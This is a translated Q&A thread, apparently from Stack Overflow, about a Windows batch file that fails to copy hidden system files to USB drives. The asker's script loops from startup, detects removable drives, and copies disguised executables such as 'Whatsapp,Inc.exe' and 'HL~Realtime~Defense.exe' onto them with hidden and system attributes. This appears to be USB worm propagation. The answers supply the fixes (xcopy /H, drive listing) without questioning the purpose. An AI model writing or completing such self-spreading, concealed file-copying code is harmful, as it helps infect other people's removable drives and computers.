为什么我的批处理文件没有将隐藏的系统文件复制到 USB 驱动器?

Why does my batch file not copy hidden system files to USB drive?

我一直在为这个问题苦苦思索一段时间。我有一个批处理文件,它在启动时搜索任何 USB 驱动器,如果找到一个,它会搜索一些文件并将它们复制到 USB。但是在这种情况下它对我不起作用。

请注意,我正在复制的文件具有 +H 和 +S 属性,我希望这不会产生影响。

这是批处理文件的代码:

@echo off
:loop
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
    for %%c in (%%b) do (
        for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
            if %%d equ Removable (
                echo %%c is Removable
                cd %SYSTEMROOT%\system32\SystemSettingsUpdate
                copy "Whatsapp,Inc.exe" "%%c"
                copy "Configure.exe" "%%c"
                copy "HL~Realtime~Defense.exe" "%%c"
                ATTRIB +H -R +S %%cConfigure.exe
                ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
                timeout /nobreak /t 59
                goto :loop
            )
        )
    )
)

请注意%%c是U盘的盘符。

所以现在发生的事情是,当我启动它时,它给我一个错误,它无法找到我指定的文件。

但是我仔细检查了位置并且文件存在。

对于为什么会收到找不到文件的错误消息有什么建议吗?

列出 USB 驱动器的更好方法

@echo off

setlocal enabledelayedexpansion

:: Creating a list with all USB drive

for /f "delims=" %%a in ('wmic logicaldisk where drivetype^=2 get deviceid ^| find ":"') do set "$List=!$List! %%a"

Echo USB ==^> !$List!

并且像 @Mofi 说的那样使用 xcopy 而不是 copy

copy 不会复制带有系统或隐藏属性集的文件。改用带有参数 /H.

的 xcopy

COPY 不复制具有系统或隐藏属性设置的文件,如以下批处理代码所示:

@echo off
cls
pushd "%TEMP%"
md TestTarget 2>nul
echo Just a copy/xcopy test for hidden and system files.>TestFile.tmp

attrib +h TestFile.tmp

echo TRY TO COPY HIDDEN FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.

echo.
echo TRY TO XCOPY HIDDEN FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
pause

cls
attrib -h +s TestFile.tmp

echo TRY TO COPY SYSTEM FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.

echo.
echo TRY TO XCOPY SYSTEM FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
pause

cls
attrib +h +s TestFile.tmp

echo TRY TO COPY HIDDEN SYSTEM FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.

echo.
echo TRY TO XCOPY HIDDEN SYSTEM FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.

del /A TestFile.tmp
rd /Q /S TestTarget
popd
pause

复制隐藏系统文件的一种解决方案是使用带有参数 /H.

的命令 XCOPY

但是使用 XCOPY 复制单个文件有点棘手。

使用 XCOPY 将单个文件复制到具有新文件名的现有目录,如果目标是文件或目录,则会出现提示。对于此任务,可以通过使用选项 /I 并确保目标规范以反斜杠结尾并因此被解释为目录路径来避免提示。有关 XCOPY 和文件或目录提示的详细信息,另请参阅 BATCH file asks for file or folder 上的答案。

另外需要参数 /Y 来避免覆盖目标目录中与当前源文件同名的现有文件的提示。

然后 XCOPY 如果文件已存在于目标目录中但已设置隐藏属性,则输出拒绝访问错误消息。在这种情况下,还使用标志 /R 复制成功(第二次复制由演示批处理文件完成)。

参数/Q也应该用于复制文件而不显示文件名。

最后,如果成功消息应该被抑制,那么在每行末尾使用 >nulXCOPY 会很好,这在演示批处理代码中没有完成因为我们希望在这里看到绝对成功的消息。

XCOPY 不使用 /K 自动删除只读属性。